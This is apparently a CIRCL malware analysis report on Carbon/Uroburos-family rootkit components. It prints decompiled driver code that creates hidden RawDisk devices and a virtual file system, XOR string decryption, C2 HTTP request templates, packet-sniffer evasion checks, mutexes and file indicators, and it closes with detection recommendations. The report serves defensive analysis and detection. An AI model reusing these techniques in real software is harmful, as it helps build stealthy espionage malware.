RawDisk1, RawDisk2 and fixdata.dat

The devices

• \Device\RawDisk1
• \Device\RawDisk2

and the file

• \SystemRoot\$NtUninstallQ722833$\fixdata.dat

are already known from other reports.

If the file fixdata.dat could successfully be created within the function

 NTSTATUS create\_fixdata_dat()
 {
   char v1; 
   NTSTATUS error; 
   OBJECT_ATTRIBUTES ObjectAttributes; 
   LARGE_INTEGER AllocationSize; 
   UNICODE_STRING Name; 
   UINT_PTR ViewSize; 
   __int64 FileInformation; 
  struct _IO_STATUS_BLOCK IoStatusBlock;

  Name.Length = 0x58;
  Name.MaximumLength = 0x5A;
  Name.Buffer = L"\\SystemRoot\\$NtUninstallQ722833$\\fixdata.dat";
  ObjectAttributes.Length = 24;
  ObjectAttributes.RootDirectory = 0;
  ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
  ObjectAttributes.ObjectName = &Name;
  ObjectAttributes.SecurityDescriptor = 0;
  ObjectAttributes.SecurityQualityOfService = 0;
  AllocationSize = 0x6400000i64;
  error = call_IoCreateFile(
            &FileHandle,
            FILE_ADD_FILE|FILE_LIST_DIRECTORY,
            &ObjectAttributes,
            &IoStatusBlock,
            &AllocationSize,
            FILE_ATTRIBUTE_NORMAL,
            0,
            FILE_OPEN_IF,
            FILE_RANDOM_ACCESS|FILE_NON_DIRECTORY_FILE|FILE_SYNCHRONOUS_IO_NONALERT|FILE_NO_INTERMEDIATE_BUFFERING,
            0,
            0);
  if ( !error )
  {
    dword_5BDEC = FileHandle;
    if ( IoStatusBlock.Information == 2 )
    {
      FileInformation = AllocationSize.QuadPart;
      error = ZwSetInformationFile(FileHandle, &IoStatusBlock, &FileInformation, 8u, FileEndOfFileInformation);
      if ( error )
        goto LABEL_10;
      v1 = 1;
    }
    else
    {
      v1 = 0;
    }
    ObjectAttributes.Length = 24;
    ObjectAttributes.RootDirectory = 0;
    ObjectAttributes.Attributes = 0;
    ObjectAttributes.ObjectName = 0;
    ObjectAttributes.SecurityDescriptor = 0;
    ObjectAttributes.SecurityQualityOfService = 0;
    error = ZwCreateSection(&gSectionHandle, 6u, &ObjectAttributes, 0, 4u, 0x18000000u, FileHandle);
    if ( !error )
    {
      ViewSize = 0;
      error = ZwMapViewOfSection(gSectionHandle, 0xFFFFFFFF, &BaseAddress_0, 0, 0, 0, &ViewSize, ViewUnmap, 0, 4u);
      if ( !error )
      {
        gViewSize = ViewSize;
        dword_4FBD4[0] = 0;
        if ( v1 )
          sub_2F6E0(0, gViewSize, 2, gViewSize >> 15, 32, 0x200u);
      }
    }
  }
LABEL_10:
  if ( error )
  {
    if ( BaseAddress_0 )
    {
      ZwUnmapViewOfSection(0xFFFFFFFF, BaseAddress_0);
      BaseAddress_0 = 0;
    }
    if ( gSectionHandle )
    {
      ZwClose_1(gSectionHandle);
      gSectionHandle = 0;
    }
    ZwClose_1(FileHandle);
    FileHandle = 0;
  }
  return error;
}

also the devices are created within this function:

  NTSTATUS create_file_rawdisk()
  {
    NTSTATUS ERROR; 
    OBJECT_ATTRIBUTES ObjectAttributes; 
    LSA_UNICODE_STRING DestinationString; 
    UINT_PTR ViewSize; 
    
    if ( disks_initialized )
    {
     ERROR = 0;
   }
   else if ( DriverObject )
   {
     sub_2DFD0(&Lock);
     KeInitializeEvent(&Event, SynchronizationEvent, 0);
     sub_2DFB0(&ListHead);
     ERROR = sub_2F490();
     if ( !ERROR )
     {
       RtlInitUnicodeString(&DestinationString, L"\\Device\\RawDisk1");
       ERROR = IoCreateDevice(
                 DriverObject,
                 0,
                 &DestinationString,
                 FILE_DEVICE_DISK,
                 FILE_REMOVABLE_MEDIA,
                 0,
                 &DeviceObject_RawDisk1);
       if ( !ERROR )
       {
         ERROR = call_SeSetSecurityDescriptorInfo(DeviceObject_RawDisk1);
         if ( !ERROR )
         {
           DeviceObject_RawDisk1->Flags = (DeviceObject_RawDisk1->Flags | 0x10);
           DeviceObject_RawDisk1->Flags = DeviceObject_RawDisk1->Flags & 0xFFFFFF7F;
           ObjectAttributes.Length = 24;
           ObjectAttributes.RootDirectory = 0;
           ObjectAttributes.Attributes = 0;
           ObjectAttributes.ObjectName = 0;
           ObjectAttributes.SecurityDescriptor = 0;
           ObjectAttributes.SecurityQualityOfService = 0;
           MaximumSize = 0x1000000i64;
           ERROR = ZwCreateSection(&SectionHandle, 6u, &ObjectAttributes, &MaximumSize, 4u, 0x18000000u, 0);
           if ( !ERROR )
           {
             ViewSize = MaximumSize.LowPart;
             ERROR = ZwMapViewOfSection(SectionHandle, 0xFFFFFFFF, &BaseAddress, 0, 0, 0, &ViewSize, ViewUnmap, 0, 4u);
             if ( !ERROR )
             {
               MaximumSize = ViewSize;
               RtlInitUnicodeString(&DestinationString, L"\\Device\\RawDisk2");
               ERROR = IoCreateDevice(
                         DriverObject,
                         0,
                         &DestinationString,
                         FILE_DEVICE_DISK,
                         FILE_REMOVABLE_MEDIA,
                         0,
                         &DeviceObject_RawDisk2);
               if ( !ERROR )
               {
                 ERROR = call_SeSetSecurityDescriptorInfo(DeviceObject_RawDisk2);
                 if ( !ERROR )
                 {
                   DeviceObject_RawDisk2->Flags = (DeviceObject_RawDisk2->Flags | 0x10);
                   DeviceObject_RawDisk2->Flags = DeviceObject_RawDisk2->Flags & 0xFFFFFF7F;
                   sub_2F6E0(1, MaximumSize.LowPart, 2, MaximumSize.LowPart >> 15, 32, 0x200u);
                   byte_4FBBD = 0;
                   ERROR = create_system_threads(&handle, sub_2EFB0, 0, 0);
                   disks_initialized = 1;
                 }
               }
             }
           }
         }
       }
     }
     if ( ERROR )
     {
       if ( DeviceObject_RawDisk1 )
       {
         IoDeleteDevice(DeviceObject_RawDisk1);
         DeviceObject_RawDisk1 = 0;
       }
       if ( DeviceObject_RawDisk2 )
       {
         IoDeleteDevice(DeviceObject_RawDisk2);
         DeviceObject_RawDisk2 = 0;
       }
       if ( BaseAddress )
       {
         ZwUnmapViewOfSection(0xFFFFFFFF, BaseAddress);
         BaseAddress = 0;
       }
       if ( SectionHandle )
       {
         ZwClose_1(SectionHandle);
         SectionHandle = 0;
       }
    }
  }
  else
  {
    ERROR = 0xC0000001;
  }
  return ERROR;
}

Decryption of string for VFS drive

The authors demonstrate that they have a sense of humor. In the following example, they decrypt (XOR) the strings used to assemble the locations of where to drop the other components of the malware to. The final destinations are:

• \.\IdeDrive1\cryptoapi.dll
• \.\IdeDrive1\inetpub.dll

But have a closer look at how they decrypt the string:

[...]
.text:0001E122                 mov     [ebp+xor_key], 4E415341h ; key
.text:0001E129                 mov     [ebp+part_1], 7253605h   ; part 1 encrypted 
.text:0001E130                 mov     [ebp+part_2], 3C282524h  ; part 2 encrypted
[...]
.text:0001E17B                 mov     eax, [ebp+part_1]     
.text:0001E17E                 xor     eax, [ebp+xor_key]       ; decrypt part 1: IdeD
.text:0001E181                 mov     [ebp+part_1], eax
[...]
.text:0001E184                 mov     ecx, [ebp+part_2]
.text:0001E18A                 xor     ecx, [ebp+xor_key]       ; decrypt part 2: rive
.text:0001E18D                 mov     [ebp+part_2], ecx
[...]

They are seriously using a key 0x4E415341 to decrypt the string. 0x4E415341 is ASCII for ‘NASA’. That’s how they decrypt and assemble the string IdeDrive, appending a ‘1’ in the next step and using if for creating the destination. Full excerpt below:

[...]
.text:0001E11B                 mov     [ebp+var_20], 0
.text:0001E122                 mov     [ebp+xor_key], 4E415341h
.text:0001E129                 mov     [ebp+part_1], 7253605h
.text:0001E130                 mov     [ebp+part_2], 3C282524h
.text:0001E13A                 xor     eax, eax
.text:0001E13C                 mov     [ebp+drive], eax
.text:0001E142                 mov     [ebp+var_338], eax
.text:0001E148                 mov     [ebp+var_334], ax
.text:0001E14F                 push    104h            ; size_t
.text:0001E154                 push    0               ; int
.text:0001E156                 lea     ecx, [ebp+cryptoapi.dll]
.text:0001E15C                 push    ecx             ; void *
.text:0001E15D                 call    memset
.text:0001E162                 add     esp, 0Ch
.text:0001E165                 push    104h            ; size_t
.text:0001E16A                 push    0               ; int
.text:0001E16C                 lea     edx, [ebp+inetpub.dll]
.text:0001E172                 push    edx             ; void *
.text:0001E173                 call    memset
.text:0001E178                 add     esp, 0Ch
.text:0001E17B                 mov     eax, [ebp+part_1]
.text:0001E17E                 xor     eax, [ebp+xor_key]
.text:0001E181                 mov     [ebp+part_1], eax
.text:0001E184                 mov     ecx, [ebp+part_2]
.text:0001E18A                 xor     ecx, [ebp+xor_key]
.text:0001E18D                 mov     [ebp+part_2], ecx
.text:0001E193                 mov     edx, [ebp+part_1]
.text:0001E196                 push    edx
.text:0001E197                 call    order_bytes
.text:0001E19C                 mov     [ebp+part_1], eax
.text:0001E19F                 mov     eax, [ebp+part_1]
.text:0001E1A2                 mov     [ebp+part_1], eax
.text:0001E1A5                 mov     ecx, [ebp+part_2]
.text:0001E1AB                 push    ecx
.text:0001E1AC                 call    order_bytes
.text:0001E1B1                 mov     [ebp+part_2], eax
.text:0001E1B7                 mov     edx, [ebp+part_2]
.text:0001E1BD                 mov     [ebp+part_2], edx
.text:0001E1C3                 mov     eax, [ebp+part_1]
.text:0001E1C6                 mov     [ebp+drive], eax
.text:0001E1CC                 mov     ecx, [ebp+part_2]
.text:0001E1D2                 mov     [ebp+var_338], ecx
.text:0001E1D8                 lea     edx, [ebp+drive]
.text:0001E1DE                 add     edx, 0FFFFFFFFh
.text:0001E1E1                 mov     [ebp+var_454], edx
.text:0001E1E7                 mov     eax, [ebp+var_454]
.text:0001E1ED                 mov     cl, [eax+1]
.text:0001E1F0                 mov     [ebp+var_455], cl
.text:0001E1F6                 add     [ebp+var_454], 1
.text:0001E1FD                 cmp     [ebp+var_455], 0
.text:0001E204                 jnz     short loc_1E1E7
.text:0001E206                 mov     edi, [ebp+var_454]
.text:0001E20C                 mov     dx, word ptr ds:a1 ; "1"
.text:0001E213                 mov     [edi], dx
.text:0001E216                 lea     eax, [ebp+drive]
.text:0001E21C                 push    eax
.text:0001E21D                 push    offset a??SCryptoapi_d ; "\\??\\%s\\cryptoapi.dll"
.text:0001E222                 lea     ecx, [ebp+cryptoapi.dll]
.text:0001E228                 push    ecx             ; char *
.text:0001E229                 call    sprintf
.text:0001E22E                 add     esp, 0Ch
.text:0001E231                 lea     edx, [ebp+drive]
.text:0001E237                 push    edx
.text:0001E238                 push    offset a??SInetpub_dll ; "\\??\\%s\\inetpub.dll"
.text:0001E23D                 lea     eax, [ebp+inetpub.dll]
.text:0001E243                 push    eax             ; char *
.text:0001E244                 call    sprintf
[...]

To describe

\Registry\Machine\usblink_export

HKEY_LOCAL_MACHINE\usblink_export

(also LEGACY_usblink and usblink?)

Potentially old code

The malware checks if the queried process has one of the following names

 bool __stdcall match_list_of_programs_by_name(char *a1)
 {
   return !stricmp(a1, "iexplore.exe")
       || !stricmp(a1, "firefox.exe")
       || !stricmp(a1, "opera.exe")
       || !stricmp(a1, "netscape.exe")
       || !stricmp(a1, "mozilla.exe")
       || !stricmp(a1, "msimn.exe")
       || !stricmp(a1, "outlook.exe")
      || !stricmp(a1, "adobeupdater.exe");
}

and if so, it would call pulse_event_wininet_activate().

char __stdcall check_proces_and_activate_wininet(int a1, int a2, int a3)
{
[...]
     if ( match_list_of_programs_by_name(&program_name) )
        pulse_event_wininet_activate();
[...]
}

The event \BaseNamedObjects\wininet_activate is then created and pulsed.

 NTSTATUS pulse_event_wininet_activate()
 {
   NTSTATUS result; 
   LSA_UNICODE_STRING DestinationString; 
   OBJECT_ATTRIBUTES ObjectAttributes;
   HANDLE EventHandle; 
   wchar_t SourceString;
 
   swprintf(&SourceString, L"\\BaseNamedObjects\\%S", "wininet_activate");
  RtlInitUnicodeString(&DestinationString, &SourceString);
  ObjectAttributes.Length = 24;
  ObjectAttributes.RootDirectory = 0;
  ObjectAttributes.Attributes = 0;
  ObjectAttributes.ObjectName = &DestinationString;
  ObjectAttributes.SecurityDescriptor = 0;
  ObjectAttributes.SecurityQualityOfService = 0;
  result = ZwOpenEvent(&EventHandle, 2u, &ObjectAttributes);
  if ( !result )
  {
    result = ZwPulseEvent(EventHandle, 0);
    ZwClose_1(EventHandle);
  }
  return result;
}

There are no references to this event, neither in this module nor in the other analyzed modules. Microsoft mentions in the documentation of the PulseEvent function ⁷:

Note This function is unreliable and should not be used. It exists mainly for backward compatibility. For more information, see Remarks.

So it could well be that this part is old code and was forgotten to be removed.

Applying work-around for bugs related to AMD Athlon and AGP graphics port

From Microsoft Support article AGP program may hang when using page size extension on Athlon processor ⁸ the following excerpt:

The following workaround for this issue prevents Memory Manager from using the processor’s Page Size Extension feature and may affect the performance of some programs, depending on the paging behavior. This registry value also limits non-paged pool to a maximum of 128 megabytes (MB) instead of 256 MB.

 int __stdcall disable_processors_page_size_extension_feature(int a1)
 {
   name[0] = 0xA8;
   name[1] = 0xAA;
   *&name[2] = L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\Session Manager\\Memory Management";
   ValueName.Length = 32;
   ValueName.MaximumLength = 34;
   ValueName.Buffer = L"LargePageMinimum";
   Data = -1;
  v2 = sub_19110();
  if ( !v2 )
  {
    ObjectAttributes.Length = 24;
    ObjectAttributes.RootDirectory = 0;
    ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
    ObjectAttributes.ObjectName = name;
    ObjectAttributes.SecurityDescriptor = 0;
    ObjectAttributes.SecurityQualityOfService = 0;
    if ( !ZwOpenKey(&KeyHandle, 2u, &ObjectAttributes) )
    {
      ZwSetValueKey(KeyHandle, &ValueName, 0, 4u, &Data, 4u);
      ZwClose_1(KeyHandle);
    }
}

Sample D - cryptoapi.dll (Resource: 105)

Original filename: carbon_system.dll

Internal name: Carbon v3.61

This component first initializes the winsock subsystem by calling WSAStartup. Right after it creates directories on the VFS:

 CreateDirectoryA("\\\\.\\IdeDrive1\\\\Tasks\\", (LPSECURITY_ATTRIBUTES)&Dst);
 CreateDirectoryA("\\\\.\\IdeDrive1\\\\Results\\", (LPSECURITY_ATTRIBUTES)&Dst);

Sample D is the next file in the logical execution order, as it creates the following mutexes, which are also accessed by Sample E. Sample D can be considered the main userland module, a control unit that sets up the communication with the kernel module and has the ability to load plugins dynamically during runtime. The internal name of this module, carbon_system.dll, supports this observation.

Mutexes from cryptoapi.dll

Global\\MSMMC.StartupEnvironment.PPT
Global\\411A5195CD73A8a710E4BB16842FA42C
Global\\881F0621AC59C4c035A5DC92158AB85E
Global\\MSCTF.Shared.MUTEX.RPM
Global\\WindowsShellHWDetection
Global\\MSDBG.Global.MUTEX.ATF

For reading or writing operations on files, exclusive access is ensured by locking them with mutexes:

• Global\MSMMC.StartupEnvironment.PPT is used for operations on the configuration file.
• Global\411A5195CD73A8a710E4BB16842FA42C is used to exclusively access temporary files
• Global\MSDBG.Global.MUTEX.ATF is used to exclusively access \.\IdeDrive1\log.txt
• Global\WindowsShellHWDetection is used to exclusively access \.\IdeDrive1\Results\result.txt
• Global\MSCTF.Shared.MUTEX.RPM is used to exclusively access \.\IdeDrive1\Tasks\task.txt
• Global\881F0621AC59C4c035A5DC92158AB85E is used to exclusively access \.\IdeDrive1\Tasks\task_system.txt

During the startup of the ModuleStart() function, 6 threads are being started. The first two are:

• get_initialization_parameters_create_GUID_and_check_Packet_Capturing()
• periodic_free_space_check_and_write_log()

These serve the purpose of initializing the environment for the malware and running maintenance and log tasks.

Then a function load_transports() is called (more later), and then four more threads are started:

• read_config_start_thread_start()
• thread 5 - handles frag.np/frag.tcp requests
• thread 6 - handles frag.np/frag.tcp requests
• execute_plugin() - starts a new thread, calling a DLLs export ModuleStart from the \.\IdeDrive1\\Plugins\ directory

load_transports()

In this module, the following transport or communication modules are present:

• Type 1: tcp, b2m
• Type 2: np, frag, m2b

each associated with a bunch of functions:

np_functions    func_obj_3 <44h, offset sub_2000FAF9, offset sub_2000FB13, \
.data:2001EE30                   offset sub_2000FB2B, offset sub_2000FC37, \
.data:2001EE30                   offset sub_2000FC91, offset sub_2000FD8E, \
.data:2001EE30                   offset sub_2000FECC, offset sub_20010798, \
.data:2001EE30                   offset sub_20010046, offset sub_2001030F, \
.data:2001EE30                   offset sub_200103BA, offset sub_200103DB, \
.data:2001EE30                   offset sub_2000EB1A, offset sub_2001077D, \
.data:2001EE30                   offset sub_20010798, offset sub_2001079E>

frag_functions  func_obj <4Ch, offset sub_2000DA6E, offset return, \
.data:2001EE78                 offset sub_2000EC14, offset sub_2000EC9E, \
.data:2001EE78                 offset sub_2000ECB2, offset sub_2000ECF3, \
.data:2001EE78                 offset sub_2000ED69, offset sub_2000F5D4, \
.data:2001EE78                 offset sub_2000F4F9, offset sub_2000EDF5, \
.data:2001EE78                 offset sub_2000F185, offset sub_2000F5EB, \
.data:2001EE78                 offset sub_2000EB1A, offset sub_2001077D, \
.data:2001EE78                 offset sub_2000F48B, offset sub_2000F4DA, 0, 0, 0>

m2b_functions   func_obj <4Ch, offset sub_2000DA6E, offset return, \
.data:2001EEC8                 offset sub_2000E8C8, offset sub_2000E93B, \
.data:2001EEC8                 offset sub_2000DB2B, offset sub_2000E94A, \
.data:2001EEC8                 offset sub_2000E956, offset sub_2000E9B5, \
.data:2001EEC8                 offset sub_2000E9C7, offset sub_2000E9D9, \
.data:2001EEC8                 offset sub_2000EA0C, offset sub_2000EADE, \
.data:2001EEC8                 offset sub_2000EB1A, offset sub_2000EB26, \
.data:2001EEC8                 offset sub_2000EB47, offset sub_2000EB66, \
.data:2001EEC8                 offset sub_2000EB85, offset sub_2000EBE5, 0>

tcp_functions   func_obj_2 <40h, offset sub_2000DDD6, offset WSACleanup, \
.data:2001EF18                   offset sub_2000DE03, offset sub_2000E0FE, \
.data:2001EF18                   offset sub_2000E14A, offset sub_2000E156, \
.data:2001EF18                   offset sub_2000E1D3, offset sub_20010798, \
.data:2001EF18                   offset sub_2000E288, offset sub_2000E31F, \
.data:2001EF18                   offset sub_2000E499, offset sub_2001077D, \
.data:2001EF18                   offset sub_2000E634, offset sub_2000E661, \
.data:2001EF18                   offset sub_2000E715>

b2m_functions   func_obj_2 <40h, offset sub_2000DA6E, offset return, \
.data:2001EF58                   offset sub_2000DA71, offset sub_2000DAF9, \
.data:2001EF58                   offset sub_2000DB2B, offset sub_2000DB44, \
.data:2001EF58                   offset sub_2000DB54, offset sub_2000DBB2, \
.data:2001EF58                   offset sub_2000DBC7, offset sub_2000DBDC, \
.data:2001EF58                   offset sub_2000DBF6, offset sub_2000DD63, \
.data:2001EF58                   offset sub_2000DD84, offset sub_2000DDA2, \
.data:2001EF58                   offset sub_2000DDC0>

TODO: these functions need to be analyzed and described

Other reports mention different other transports that are not present in this collection.

frag.np and frag.tcp replies:

SEND AUTH
RECV AUTH
AUTH FAILED
SEND WHO
SEND OBJECT_ID

frag.np/frag.tcp options:

frag_size=32768
frag_no_scrambling=1
allow=*everyone
active_con
net_user=
net_password=
write_peer_nfo=%c%s%c
nodelay=N

Files from cryptoapi.dll

\\.\IdeDrive1\
\\.\IdeDrive1\log.txt
\\.\IdeDrive1\*.bak
\\.\IdeDrive1\Tasks\\task.txt
\\.\IdeDrive1\Tasks\\task_system.txt
\\.\IdeDrive1\Tasks\\*.tmp
\\.\IdeDrive1\config.txt
\\.\IdeDrive1\restrans.txt
\\.\IdeDrive1\Tasks\\
\\.\IdeDrive1\Results\\
\\.\IdeDrive1\logtrans.txt
\\.\IdeDrive1\usbdev.bak
\\.\IdeDrive1\inetpub.bak
\\.\IdeDrive1\inetpub.dll
\\.\IdeDrive1\cryptoapi.bak
\\.\IdeDrive1\cryptoapi.dll
\\.\IdeDrive1\Plugins\\

Pipes from cryptoapi.dll

\\\\.\\Global\\PIPE\\comnode
\\\\%s\\pipe\\comnode
\\\\%s\\pipe\\%s

Custom error codes, shared in sample B, C and D (E and F to be check)

 CUSTOM_ERROR_01  = 21590001h
 CUSTOM_ERROR_02  = 21590002h            ; WAIT_TIMEOUT?
 CUSTOM_ERROR_03  = 21590003h            ; BROKEN_PIPE?
 CUSTOM_ERROR_04  = 21590004h            
 CUSTOM_ERROR_05  = 21590005h
 CUSTOM_ERROR_06  = 21590006h
 CUSTOM_ERROR_07  = 21590007h
 CUSTOM_ERROR_08  = 21590008h
 CUSTOM_ERROR_09  = 21590009h
 CUSTOM_ERROR_0A  = 2159000Ah
 CUSTOM_ERROR_0B  = 2159000Bh            ; INVALID_USER_BUFFER?
 CUSTOM_ERROR_0D  = 2159000Dh
 CUSTOM_ERROR_64  = 21590064h
 CUSTOM_ERROR_65  = 21590065h
 CUSTOM_ERROR_66  = 21590066h
 CUSTOM_ERROR_67  = 21590067h
 CUSTOM_ERROR_68  = 21590068h
 CUSTOM_ERROR_69  = 21590069h
 CUSTOM_ERROR_C9  = 215900C9h            ; NO_VALID_ADDR?
 CUSTOM_ERROR_CA  = 215900CAh            ; NO_VALID_PORT?
 CUSTOM_ERROR_CB  = 215900CBh
 CUSTOM_ERROR_CC  = 215900CCh

Sample C - inetpub.dll (Resource: 102)

Original filename: CARBON.dll

Internal name: Carbon v3.51

Files from inetpub.dll

\\.\IdeDrive1\config.txt
\\.\IdeDrive1\Tasks\\task.txt
\\.\IdeDrive1\Tasks\\task_system.txt
\\.\IdeDrive1\log.txt
\\.\IdeDrive1\Results\result.txt

Mutexes from inetpub.dll

Global\\MSMMC.StartupEnvironment.PPT
Global\\411A5195CD73A8a710E4BB16842FA42C
Global\\881F0621AC59C4c035A5DC92158AB85E
Global\\MSCTF.Shared.MUTEX.RPM
Global\\WindowsShellHWDetection
Global\\MSDBG.Global.MUTEX.ATF

thread 2:

In a 10 minutes loop check server availability by doing a HTTP POST (HTTP/1.0) to a server/port configured in

\\.\IdeDrive1\config.txt

in CW_INET section address with user agent

Mozilla/4.0 (compatible; MSIE 6.0)

but only if a valid internet connection was successfully probed:

 char isInternetConnectionWorking()
 {
   char result; 
   HINTERNET hInternetOpen;
 
   result = 0;
   if ( InternetAttemptConnect(0) )
   {
     result = 0;
  }
  else
  {
    hInternetOpen = InternetOpenA("Mozilla/4.0 (compatible; MSIE 6.0)", 0, 0, 0, 0);
    if ( hInternetOpen )
    {
      if ( HttpConnect(hInternetOpen, "update.microsoft.com")
        || HttpConnect(hInternetOpen, "windowsupdate.microsoft.com")
        || HttpConnect(hInternetOpen, "207.46.18.94")
        || HttpConnect(hInternetOpen, "207.46.253.125")
        || HttpConnect(hInternetOpen, "microsoft.com")
        || HttpConnect(hInternetOpen, "207.46.250.119")
        || HttpConnect(hInternetOpen, "207.46.249.56")
        || HttpConnect(hInternetOpen, "207.46.249.57") )
        result = 1;
      InternetCloseHandle(hInternetOpen);
    }
    else
    {
      result = 0;
    }
  }
  return result;
}

thread 3:

The actions described below are only taken if the following programs are not running

• tcpdump.exe
• windump.exe
• ethereal.exe
• wireshark.exe
• ettercap.exe
• snoop.exe

The following is the main (endless) loop of this thread:

 LOOP:
     if ( do_HTTP_GET(hInternetConnect, &base_string) )
     {
       while ( isCapturingPackets() == 1 )
         Sleep(0xEA60u);
       while ( sub_20009871(hInternetConnect, ::Dest, &lpszServerName, &base_string) )
         ;
       while ( sub_200075C0(hInternetConnect, ::Dest, &lpszServerName, &base_string) )
         Sleep(0x3E8u);
      goto LOOP;
    }

It starts in do_HTTP_GET() with a HTTP GET (HTTP/1.1) to server/port taken from

\\.\IdeDrive1\config.txt

in CW_INET section address with user agent

Mozilla/4.0 (compatible; MSIE 6.0)

with script name and query as follows:

auth.cgi?mode=query&id=%u:%u:%u:%u&serv=%s&lang=en&q=%u-%u&date=%s

where the format strings are filled in accordingly.

serv=

is filled pseudorandomly with a host from the following list:

• www.yahoo.com
• www.bbc.com
• www.astalavista.com
• www.google.com
• www.eagames.com
• www.asus.com
• www.microsoft.com
• windowsupdate.microsoft.com
• search.microsoft.com
• www.hp.com
• www.altavista.com
• www.3com.com
• www.dell.com
• www.sun.com
• www.easports.com
• search.google.com

perhaps to make a reasonable appearance or to mislead log analysts who filter out common domain names.

When a successful handle is returned, a file is being downloaded and stored in the virtual file system.

What follows is a GET in HTTP/1.0 on

default.asp?act=%u&id=%u&item=%u&event_id=%u&cln=%u&flt=%u&serv=%s&t=%ld&mode=query&lang=en&date=%s

This code is part of sub_20009871, which continues to serve the frag.np/frag.tcp part.

In sub_200075C0 another POST in HTTP/1.0 to

default.asp?act=%u&id=%u&item=%u&event_id=%u&cln=%u&flt=%u&serv=%s&t=%ld&mode=query&lang=en&date=%s

follows.

The purpose of the two functions is not clear, yet.

load_transports()

In this module, the following transport or communication modules are present:

• Type 1: tcp, b2m
• Type 2: np, frag, m2b

This corresponds to the transports found in Sample D.

3rd party code

bzip2/libbzip2

The compiled code of bzip2/libbzip2, a program and library for lossless block-sorting data compression, was identified, coming from http://svn.apache.org/repos/asf/labs/axmake/trunk/src/libuc++/srclib/bzip2/compress.c.

bzip2/libbzip2 version 1.0.5 of 10 December 2007

Copyright (C) 1996-2007 Julian Seward [email protected]

Using the source code without including the author’s Copyright statement, the conditions and the disclaimer is an infringement of the software license:

http://svn.apache.org/repos/asf/labs/axmake/trunk/src/libuc++/srclib/bzip2/LICENSE

Other analysis

Analysis of check-in messages

Check-in messages of Sample C and D (unique)

$Id: b2_to_m2_stub.c 5273 2007-01-23 17:41:15Z vlad $
$Id: b_tcp.c 8474 2007-09-19 15:40:39Z vlad $
$Id: hide_module_win32.c 10189 2008-11-25 14:25:41Z gilg $
$Id: l1_check.c 4477 2006-08-28 15:58:21Z vlad $
$Id: load_lib_win32.c 10180 2008-11-20 12:13:01Z gilg $
$Id: m2_to_b2_stub.c 4477 2006-08-28 15:58:21Z vlad $
$Id: m_frag.c 8715 2007-11-29 16:04:46Z urik $
$Id: m_np.c 8825 2008-01-10 13:13:15Z vlad $
$Id: mutex.c 3940 2006-03-20 16:47:16Z vlad $
$Id: np_win32_common.c 4483 2006-08-30 13:13:51Z vlad $
$Id: rw_lock.c 4482 2006-08-30 13:07:14Z vlad $
$Id: t_byte1.c 5324 2007-01-30 12:45:35Z vlad $
$Id: t_manager.c 8715 2007-11-29 16:04:46Z urik $
$Id: t_message1.c 5290 2007-01-26 11:15:03Z vlad $
$Id: t_status.c 5666 2007-03-19 16:18:00Z vlad $
$Id: t_utils.c 5503 2007-02-26 13:14:30Z vlad $
$Id: thread.c 4593 2006-10-12 11:43:29Z urik $

Developers

Sample C and D contain author names of three people:

• vlad
• gilg
• urik

Newer samples, for instance the one from BAE, contain only two:

• vlad
• gilg

Check-in period

First check-in: 2006-03-20

Last check-in: 2008-11-25

Check-in dates

When incorporating the check-in dates of the BAE sample, the following graph shows that someone checked-in a file once during a Saturday.

Language deficits

A small collection of strings demonstrates the language deficits, mainly distinguishable as:

• Use of backticks instead of apostrophes by some of the developers
• Problems using past tense by some developers
• Spelling
• Mistranslated terms
• Oversights

Examples:

win32 detect...
x64 detect...
CretaFileA(%s):
Can`t open SERVICES key
error has been suddenly occured
timeout condition has been occured inside call of function
OPER|Survive me, i`m close to death... free space less than 5%%...|\n
OPER|Sniffer '%s' running... ooopppsss...|\n
Task not execute. Arg file failed.
Update failed =((  Can`t create file.
can`t get characs.\n
Internal command not support =((\n
L|-1|can`t get characs %s|\n

Recommendations

• CIRCL recommends to review the IOCs of this report and compare them with servers in the infrastructure of your organization which produce log files including proxies, A/V and system logs. As this family of malware might be difficult to detect from a network perspective, we recommend to perform check of the indicators at the system level.

Classification of this document

TLP:WHITE information may be distributed without restriction, subject to copyright controls.

Revision

• Version 0.9 July 10, 2014 work-in-progress (not a final release) (TLP:WHITE)

References